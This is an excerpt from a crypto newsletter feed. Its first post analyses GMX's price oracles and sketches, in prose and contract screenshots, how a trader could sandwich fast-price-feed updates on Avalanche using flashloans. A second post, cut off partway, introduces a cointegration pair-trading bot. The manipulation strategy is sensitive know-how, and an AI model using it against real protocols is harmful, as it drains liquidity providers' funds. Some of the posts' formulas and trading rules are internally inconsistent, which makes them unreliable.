rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/gmx_intern/status/1624272432126390278?s=20&amp;t=JECieJ-g9DKvQiEB7y7EEQ">the top defi project on fee profit</a>, and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://defillama.com/fees">one of the top projects by fee and revenue in defillama</a>. they are winning by offering perks such as <strong><em>no slippage</em></strong>, <strong><em>low swap fees</em></strong>, and <strong><em>zero price impact trades</em></strong> (<em>i.e.,</em> large trades are set at the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://medium.com/mark-price/mark-price-e8f748c9b549">mark price</a>).</p><h3 id="h-the-price-feed" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the price feed</h3><p>gmx’s swap trades are performed based on a combination of two oracles:</p><ul><li><p>the <strong>primary oracle</strong> is fed by <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.chain.link/">chainlink</a>, and it takes the last three samples (picking the worst price for the user).</p></li><li><p>the <strong>secondary oracle</strong> is the <strong>“fast price feed”</strong>, which overrides the price whenever it is within 2.5% of the primary oracle price value.</p></li></ul><h3 id="h-gml-vault" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">gml vault</h3><p>gmx enables traders to open up to 50x <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/mev-toolkit/tree/main/MEV_and_trading/lending">leverage</a> swaps for long or short positions by borrowing from <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://gmxio.gitbook.io/gmx/glp">glp</a>, <strong>a multi-asset pool containing $btc, $eth, $uni, $link, and stablecoins</strong>. the vault allows swapping of the tokens it holds.</p><p>funds are <strong>deposited into the vault by minting glp tokens</strong> and can be <strong>withdrawn by burning these tokens</strong>.</p><p>glp works as the counterparty in the protocol, as it accrues values when traders loses, and devalues when traders win.</p><p>glp is also emerging as a form of collateral, with lending protocols integrating this liquidity provider token into their product offerings (<em>e.g.,</em> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/mev-toolkit/blob/main/MEV_by_chains/MEV_on_Arbitrum/gmx/glp_vaults.md">rage, unami, sentiment</a>).</p><h3 id="h-dollargmx" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">$gmx</h3><p>gmx’s native token, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.coingecko.com/en/coins/gmx">$gmx</a>, functions as a governance, utility, and value-accrual token. <strong>glp accrues 70% of all trading fees, while stakers of gmx earn 30%</strong>.</p><p>a <strong>floor price fund</strong> helps ensure liquidity in the glp pool, plus a reliable stream of $eth rewards for $gmx stakers.</p><h3 id="h-protocol-fees" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">protocol fees</h3><p>the protocol&apos;s revenues come from swap fees, trading fees, execution fees, liquidation fees, and borrow fees.</p><p>fees are set <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/gmx-io/gmx-contracts/blob/master/contracts/core/Vault.sol">in the vault’s contract</a>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/cfcab3d6ed9cda73f24bd69f5c88b96778816db4d9efc928c025285b49b50e0d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-liquidations" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">liquidations</h3><p>gmx’s <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://gmxio.gitbook.io/gmx/trading#execution-fee">keepers</a> can liquidate a position if the position reduces to a point at which the collateral minus losses minus borrow fee becomes less than 1% of position&apos;s size.</p><h3 id="h-protocol-contracts" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">protocol contracts</h3><p>the gmx protocol is composed of the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://gmxio.gitbook.io/gmx/contracts">following parts</a>:</p><ol><li><p><strong>the vault contracts</strong> handle trading functions and deposits of usd to glp (named usdg). it includes <strong>the price feeds contracts,</strong> which handle the two price feed oracles.</p></li><li><p><strong>the router contract</strong> implements convenient functions on top of the vault. it’s also used to help mitigate frontrunning attacks through a two-step transaction process.</p></li><li><p><strong>the gmx governance contracts and the glp liquidity provider contracts,</strong> are regular erc20 tokens utilized by the protocol.</p></li></ol><p>for the strategy, we will be looking at the first.</p><hr><h2 id="h-the-vault-and-price-contracts" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🔮 the vault and price contracts</h2><p>the main <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/gmx-io/gmx-contracts/blob/7ce789b40086eb2eda71d72ebbe6468f8c1c8f3b/contracts/core/Vault.sol">vault</a> contract is <code>Vault.sol</code> (on <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://arbiscan.io/address/0x489ee077994B6658eAfA855C308275EAd8097C4A#code">arbitrum</a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://snowtrace.io/address/0x9ab2De34A33fB459b538c43f251eB825645e8595#code">avalanche</a>) and is used to handle gmx’s trading functions.</p><p>here is a list of the external and public methods:</p><ul><li><p><code>swap(address _tokenIn, address _tokenOut, address _receiver)</code></p></li><li><p><code>getMaxPrice(_token)</code></p></li><li><p><code>getMinPrice(_token)</code></p></li><li><p><code>buyUSDG(address _token, address _receiver)</code></p></li><li><p><code>sellUSDG(address _token, address _receiver)</code></p></li><li><p><code>directPoolDeposit(address _token)</code></p></li><li><p><code>increasePosition(address _account, address _collateralToken, address _indexToken, uint256 _sizeDelta, bool _isLong)</code></p></li><li><p><code>decreasePosition(address _account, address _collateralToken, address _indexToken, uint256 _collateralDelta, uint256 _sizeDelta, bool _isLong, address _receiver)</code></p></li><li><p><code>liquidatePosition(address _account, address _collateralToken, address _indexToken, bool _isLong, address _feeReceiver)</code></p></li><li><p><code>validateLiquidation( _account, _collateralToken, _indexToken, _isLong, _raise)</code></p></li><li><p><code>getRedemptionAmount(_token, _usdgAmount)</code></p></li><li><p><code>getRedemptionCollateral(_token)</code></p></li><li><p><code>getRedemptionCollateralUsd(_token)</code></p></li><li><p><code>tokenToUsdMin(_token, _tokenAmount)</code></p></li><li><p><code>usdToTokenMax(_token, _usdAmount)</code></p></li><li><p><code>usdToTokenMin(_token, _usdAmount)</code></p></li><li><p><code>usdToToken(_token, _usdAmount, _price)</code></p></li><li><p><code>getPosition(_account, _collateralToken, _indexToken, _isLong)</code></p></li><li><p><code>getPositionLeverage(_account, _collateralToken, _indexToken, _isLong)</code></p></li><li><p><code>getUtilisation(_token)</code></p></li><li><p><code>getNextAveragePrice(_indexToken, _size, _averagePrice, _isLong, _nextPrice, _sizeDelta, _lastIncreasedTime)</code></p></li><li><p><code>getNextGlobalShortAveragePrice(_indexToken, _nextPrice, _sizeDelta)</code></p></li><li><p><code>getGlobalShortDelta(_token)</code></p></li><li><p><code>getPositionDelta(_account, _collateralToken, _indexToken, _isLong)</code></p></li><li><p><code>getDelta(_indexToken, _size, _averagePrice, _isLong, _lastIncreasedTime)</code></p></li><li><p><code>getEntryFundingRate(_collateralToken, _indexToken, _isLong)</code></p></li><li><p><code>getFundingFee(_account, _collateralToken, _indexToken, _isLong, _size, _entryFundingRate)</code></p></li><li><p><code>getPositionFee(_account, _collateralToken, _indexToken, _isLong, _sizeDelta)</code></p></li><li><p><code>getTargetUsdgAmount(_token)</code></p></li></ul><p><strong>the one we are interested in is</strong> <code>swap()</code><strong>.</strong></p><p>❓how does swapping asset work</p><p>❓how does it know <code>_tokenIn</code> and <code>_tokenOut</code> prices, so it can send the correct amount to <code>_receiver</code></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/4d194292cede7bf5d09de898f844a7da538c3b227fb8c8172204a1ddc774b6b4.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>assets are swapped by the prices given by <code>priceIn</code> calling <code>getMinPrice(_tokenin)</code> and <code>priceOut</code> calling <code>getMaxPrice(_tokenOut)</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0f8c8a6fc4a38232b26b11c48b41da73c9c79796f359f91e0ff8f4ef49e15167.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>nice, we are hitting the price methods.</p><p>remember that the price feed contracts implement a primary price mechanism that samples the three last chainlink oracle values and picks the worst for the trade. from <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://gmx-io.notion.site/gmx-io/GMX-Technical-Overview-47fc5ed832e243afb9e97e8a4a036353">gmx’s docs</a>:</p><blockquote><p><em>The vault uses the price from the keeper if it is within a configured percentage of the corresponding Chainlink price. If the price exceeds this threshold, then a spread would be created between the bounded price and the Chainlink price, this threshold is based on the historical max deviation of the Chainlink price from the median price of reference exchanges. For example, if the max deviation is 2.5% and the price of the token on Chainlink is $100, if the keeper price is $103, then the pricing on the vault would be $100 to $103.</em></p></blockquote><p>so, this primary price mechanism is overridden when the secondary (fast feed) is enabled and the price is within a 2.5% range. this also gives a different price depending on the direction (it has lower chances of being &gt; than an amm).</p><p>let’s check how the snippet above calls <code>getPrice(),</code> which is implemented by <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/gmx-io/gmx-contracts/blob/master/contracts/core/VaultPriceFeed.sol">the vault contract for the price feed</a>, <code>VaultPriceFeed.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c77784c9113a4ae4cb4f2bf759b2cd9e9bf794c077a37e934cdf0127fa35016d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>we see two options to get the asset’s price.</p><p>when <code>useV2Pricing()</code> is set to <code>false</code> (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/gmx-io/gmx-contracts/blob/master/contracts/core/VaultPriceFeed.sol#L31">like here</a>), <code>getPriceV2()</code> is fired:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3d354d0eb867bf050bb7f25f2020cee5adae56ed108c2cedc8f779986b6ab62e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>here is where the fun starts.</p><p>while the first price mechanism, <code>getPrimaryPrice()</code> simply calls <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/gmx-io/gmx-contracts/blob/master/contracts/core/VaultPriceFeed.sol#L287">chainlink</a>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0879d0af9692f86a01f249b42e0248989ddbcb1f63e5be3e5c362353c68fcf4c.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/gmx-io/gmx-contracts/blob/master/contracts/core/VaultPriceFeed.sol#L29"><strong>isAmmEnabled</strong></a> is usually set to <code>true</code> (it’s <code>false</code> in liquidation cases), so gmx’s prices are pretty much coming from <code>getAmmPriceV2()</code> and then <code>getAmmPrice()</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a11ba4fb02b325fcaa88edb93e283a347119a85629f74ac941c5fc9075390a50.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>yes, this is our good ol’ <strong>x*y=k price amm</strong>,</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/50d6e251b403f019a642cd0cda09bd9b5ede960f753df966b85ffb876221cd49.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><strong>this </strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/gmx-io/gmx-contracts/tree/master/contracts/amm"><strong>amm</strong></a><strong> could be vulnerable to manipulating markets. in other words, updates of gmx’s secondary oracle could, in theory, be sandwiched.</strong></p><p>because of the way <code>swap()</code> is called and the fact that gmx does not implement slippage, many arbs between gmx and secondary markets could be done until they are at the same price (or until a particular delta market is obtained).</p><blockquote><p>💡 <em>In the context of trading, delta (Δ) is a risk metric that estimates the change in the price of a derivative, given a $1 change in its underlying security. The delta also tells the hedging ratio to become delta neutral (</em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.investopedia.com/terms/d/delta.asp"><em>more</em></a><em>).</em></p></blockquote><p>in theory, a secondary market with enough liquidity could allow our <strong>manipoolator</strong> to drain all the liquidity of gmx (well, proportional to the slippage of this secondary market):</p><p><code>gain = gmx_price / (secondary_market_price * gmx_liquidity)</code></p><p>now think about that 50x leverage. it could mean 150% gain on the initial position.</p><hr><h2 id="h-manipoolator-as-a-sandwichor-in-avalanche" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🔮 manipoolator as a sandwichor in avalanche</h2><p>arbitrum runs on <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.arbitrum.io/inside-arbitrum-nitro/">a centralized and ill-documented sequencers</a>, so it does not have a public mempool. to get the right block timing, our <strong>manipoolator</strong> would have to run a strategy based on trial &amp; error (while <em>praying</em> for <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/mev-toolkit/tree/main/MEV_by_chains/MEV_on_Arbitrum/fair_ordering_sequencing">fss</a> not to be implemented soon).</p><p>but a sandwich attack could be possible on avalanche (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.ddmckinnon.com/2022/11/27/all-is-fair-in-arb-and-mev-on-avalanche-c-chain/">here is a cool mev story on avalanche c-chain</a>).</p><p><strong>manipoolator</strong> would take advantage of pricing updates for the assets in the glp vault. it could search the mempool for large updates through txs containing <code>SetPrices()</code> or when the fast price feed is updated (<em>e.g.,</em> when keepers send txs to execute it).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/55e1b8b927119314a602dbbc587ab7b18d5375120310b17753017e72e7708907.png" alt=" " blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>(btw, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/gmx-io/gmx-contracts/blob/7ce789b40086eb2eda71d72ebbe6468f8c1c8f3b/contracts/oracle/PriceFeed.sol">PriceFeed.sol</a> is the contract that accepts submissions from the price feed keeper, using the median price of binance, bitfinex, and coinbase)</p><p>at that point, <strong>manipoolator</strong> could</p><ol><li><p>frontrun the tx to execute the order with a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/mev-toolkit/tree/main/MEV_strategies/flashloans">flashloan</a>, buying an asset before the prices increases,</p></li><li><p>close its position right after the price change, and</p></li><li><p>profit the delta (after paying the opening-position-margin-funding-rate-closing-position-margin fees).</p></li></ol><p>something like this:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/36d9e1bac973515ed7878715312aae461768892ea59e2735d24b4b62a774a6af.png" alt="sandwich on gmx&apos;s fast price feed." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">sandwich on gmx&apos;s fast price feed.</figcaption></figure><hr><h2 id="h-manipulating-manipoolator" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🔮 manipulating manipoolator</h2><p>🤔 we are not even talking about multiple pools or cross-chain yet… infinite possibilities?</p><p>🤔 would increasing trading fees lower the chances of an oracle manipulation attack (at least during large volatility)? but then, would gmx stop “winning”?</p><p>🤔 would trying to prevent blocks with more than two <code>SetPrices()</code> txs help avoid sandwich attacks? yeah, but how?</p><p>🤔 or, in a different direction, <em>what if</em> the prices of the secondary markets could be manipulated to make them equal to the primary oracle, undermining the second oracle? what would that mean?</p><p>🤔 would <strong>manipoolator</strong> try to remain stealthy, or would it go <em>all in</em> during a volatile event?</p><hr><h2 id="h-irl" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🔮 irl</h2><p>there have been some reports of exploitation of the gmx’s oracles last year, with <em>somehow</em> similar ideas described in this post.</p><p>one of the shenanigans was that while the gmx team runs keepers to update prices by making calls to <code>SetPriceWithBit()</code>, mev operators could observe these price updates in the mempool before they are on-chain.</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/joshua_j_lim/status/1571554171395923968?s=20&amp;t=bLhokqUbLtWaOps04GJgwA">https://twitter.com/joshua_j_lim/status/1571554171395923968?s=20&amp;t=bLhokqUbLtWaOps04GJgwA</a></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/ChainsightLabs/status/1580208615654584321?s=20&amp;t=0fbE1f5XfD8b-l0zzRmQow">https://twitter.com/ChainsightLabs/status/1580208615654584321?s=20&amp;t=0fbE1f5XfD8b-l0zzRmQow</a></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/wilburforce_/status/1571891338097860608">https://twitter.com/wilburforce_/status/1571891338097860608</a></p><p>on another note, during a major update regarding synths, gmx added a new oracle called <strong>xget</strong> with frontrunning protection:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/Kalcrypto1/status/1576977723016085505?s=20&amp;t=NLpve9weGE_Dnoxit-NQ0A">https://twitter.com/Kalcrypto1/status/1576977723016085505?s=20&amp;t=NLpve9weGE_Dnoxit-NQ0A</a></p><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/73cfca298e3afc097c829c5a185133fe3c69456fa1e6a62483c10c2bc773ff01.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[on cointbot, my cointegration trader]]></title>
            <link>https://paragraph.com/@go-outside/on-cointbot-my-cointegration-trader</link>
            <guid>3PRdA0KJCij44mFk4z9C</guid>
            <pubDate>Thu, 05 Jan 2023 17:42:26 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over a CLI tool and a set of trading bots that i’ve written to detect profitable cryptocurrency pairs to be shorted or longed on trading exchanges. these statistical algorithmic strategies are named cointegration, which has been around for a long time, for either traditional or decentralized finances.🎶 today’s moodhttps://open.spotify.com/track/1tDWVeCR9oWGX8d5J9rswk?si=8ba65b4175ac4e1f🧘🏻‍♀️✨ cointegration strategy for pair tradingpair trading is a classic example of a str...]]></description>
            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over a CLI tool and a set of <strong>trading bots</strong> that i’ve written to detect <strong>profitable cryptocurrency pairs</strong> to be shorted or longed on trading exchanges.</p><p>these statistical algorithmic strategies are named <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.wallstreetmojo.com/cointegration"><strong>cointegration</strong></a>, which has been around for a long time, for either traditional or decentralized finances.</p><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/1tDWVeCR9oWGX8d5J9rswk?si=8ba65b4175ac4e1f">https://open.spotify.com/track/1tDWVeCR9oWGX8d5J9rswk?si=8ba65b4175ac4e1f</a></p><hr><h2 id="h-cointegration-strategy-for-pair-trading" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧘🏻‍♀️✨ cointegration strategy for pair trading</h2><p>pair trading is a classic example of a strategy based on mathematical analysis.</p><p>put it simply, when two or more <strong>non-stationary series</strong> can be <strong>combined</strong> to make a <strong>stationary series</strong>, they are said to be <strong>cointegrated</strong>.</p><p>in other words, this strategy allows you to find evidence of an underlying economic link for a <strong>pair of securities</strong> (say, A and B) within a <strong>timeframe</strong>. it also allows you to mathematically model this link, so that you can make trades on it.</p><blockquote><p>💡 a <strong><em>series</em></strong> are said to be <strong>stationary</strong> when the parameters of the data-generating process do not change over time.</p></blockquote><hr><h3 id="h-modeling-a-pair-of-securities-with-math" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">modeling a pair of securities with math</h3><p>let’s take two random crypto assets, say, <strong>A and B</strong> <strong>futures</strong>. let’s model each of their returns by drawing their <strong>normal distributions</strong> (aka the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.investopedia.com/terms/b/bell-curve.asp"><strong>bell curve</strong></a>).</p><blockquote><p>💡 <strong><em>crypto derivatives</em></strong> <em>are financial contracts that derive their values from underlying assets. </em><strong><em>futures</em></strong><em> are financial contracts that </em><strong><em>bet</em></strong><em> on a cryptocurrency&apos;s </em><strong><em>future price</em></strong><em>, allowing </em><strong><em>exposure without purchasing</em></strong><em>.</em></p></blockquote><p>if these two series are cointegrated, there exists some <strong>linear combination</strong> between them varying around a <strong>mean</strong>. in other words, their combination should be related to the same <strong>probability distribution</strong>.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d0f700477d90216aaa4e3bd997e1f35c261b0a8c046f8f51dc32081e83880580.png" alt="cointegration of FLOWUSDT and 1INCHUSDT, generated by cointbot" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">cointegration of FLOWUSDT and 1INCHUSDT, generated by cointbot</figcaption></figure><hr><h3 id="h-the-beauty-of-p-values" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the beauty of p-values</h3><p><strong>correlation and cointegration are similar but not the same</strong>. for example, correlated series could just diverge together without being cointegrated.</p><p>how do we infer cointegration? <em>we do like the scientists do.</em></p><p>a <strong>p-value</strong> is the probability of obtaining results at least as extreme as the results of a <strong>hypothesis test</strong>, assuming that the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.investopedia.com/terms/n/null_hypothesis.asp"><strong>null hypothesis is correct</strong></a>.</p><p>a p-value of <strong>0.05 or lower</strong> is generally considered statistically <strong>significant</strong>.</p><p>cointegrated series can show very <strong>small</strong> p-values but still not be correlated.</p><hr><h3 id="h-the-trick-of-pair-trading" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the trick of pair trading</h3><p>the coefficients that define stationary combinations of two series are called <strong>hedge ratios</strong>. in practical terms, the hedge ratio describes the suggested <strong>amount of B to buy or sell for every of A</strong>.</p><p>because both securities drift towards and apart from each other, sometimes the distance is high, and sometimes the distance is low.</p><p>the magick comes from maintaining a <strong>hedged position across A and B</strong>. if both go down or up, you neither make nor lose money. <strong>profit comes from the spread</strong> of them <strong>reverting to the mean</strong>:</p><ul><li><p>when A and B are far apart, you short B and long A: when the spread is small, you expect it to become larger.</p></li><li><p>when A and B are close, you long B and short A: when the spread is large, you expect it to become larger.</p></li></ul><hr><h3 id="h-spread-and-z-score" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">spread and z-score</h3><p>we apply a linear regression to calculate the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.investopedia.com/terms/s/spread.asp"><strong>spread</strong></a> of these two series, which is simply defined by:</p><pre data-type="codeBlock" text="spread = first series - (hedge ratio * second series)  
"><code>spread <span class="hljs-operator">=</span> first series <span class="hljs-operator">-</span> (hedge ratio <span class="hljs-operator">*</span> second series)  
</code></pre><p>this gives us that linear combination coefficient, the hedge ratio (this is known as the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.statisticshowto.com/engle-granger-test/"><strong>engle-granger method</strong></a>).</p><p>however, the spread does not give you an immediate signal for trading. <strong>the signal still needs to be normalized</strong> so it can be treated as a <strong>z-score</strong>, which is the number of <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.investopedia.com/terms/s/standarddeviation.asp"><strong>standard deviations</strong></a> separating the <strong>current price</strong> from the <strong>mean price</strong>.</p><p>traders can look at the <strong>momentum of the average z-score</strong> and takes a <strong>contrarian approach</strong> to trade, to generate <strong>buy and sell signals</strong>. graphically, <strong>positive z-scores lie to the right</strong> of the mean, and <strong>negative z-scores lie to the left</strong> of the mean.</p><p>here is an example of a strategy:</p><ul><li><p>whenever the z-score &lt; -1, you long the spread.</p></li><li><p>whenever the z-score &gt; 1, you short the spread.</p></li><li><p>exit positions when the z-score ~ 0.</p></li></ul><hr><h3 id="h-there-are-three-types-of-lies-lies-damn-lies-and-statistics" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">“there are three types of lies: lies, damn lies, and statistics”</h3><p>math is awesome, but…</p><p>obviously, any trading strategy comes with advantages and shortcomings (pretty much like <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Editor_war"><strong><em>any flavor of text editor</em></strong></a>, you know the drill).</p><p>here is a simple picture of cointegration:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ffdf7b431ac3a21353b71cf733725312d950915fd21f885a52ea8024261a02f6.png" alt=".you are the master of your own life." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.you are the master of your own life.</figcaption></figure><hr><h2 id="h-the-cointbot-package" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧘🏾✨ the cointbot package</h2><p>the <code>cointbot</code> package consists of a CLI and a set of libraries for cointegration pair trading, with support for different market types, parameters, and bots designs:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/86637b9ce479c46483aefc897d571d37dfb008c098922251637e5a984736d58a.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>for example, <code>Bot1</code> has the following strategy:</p><p>1️⃣ search for <strong>all possible crypto perpetual derivative contracts</strong> in a cex that can be longed or shorted</p><p>2️⃣ retrieve their <strong>price history</strong> for a given timeframe</p><p>3️⃣ calculate <strong>all the pairs that cointegrated</strong> by looking at <strong>p-values</strong> smaller than a certain threshold</p><p>4️⃣ calculate their <strong>spread</strong> and their <strong>latest z-score</strong> signal</p><p>5️⃣ backtest to <strong>long</strong> when <strong>z-score &lt; 0</strong></p><p>6️⃣ if the asset is hot, confirm <strong>tokens to be longed and shorted</strong>, within the initial capital</p><p>7️⃣ with these close signals, average in <strong>limit orders</strong> or place <strong>market orders</strong></p><hr><h3 id="h-setting-up-cointbot" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">setting up cointbot</h3><p>to test cointbot, you will need <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://testnet.bybit.com/en-US/"><strong>a testnet account from bybit</strong></a>. if you want to use any other cex, the code is free (or wait until i have time to implement them).</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" 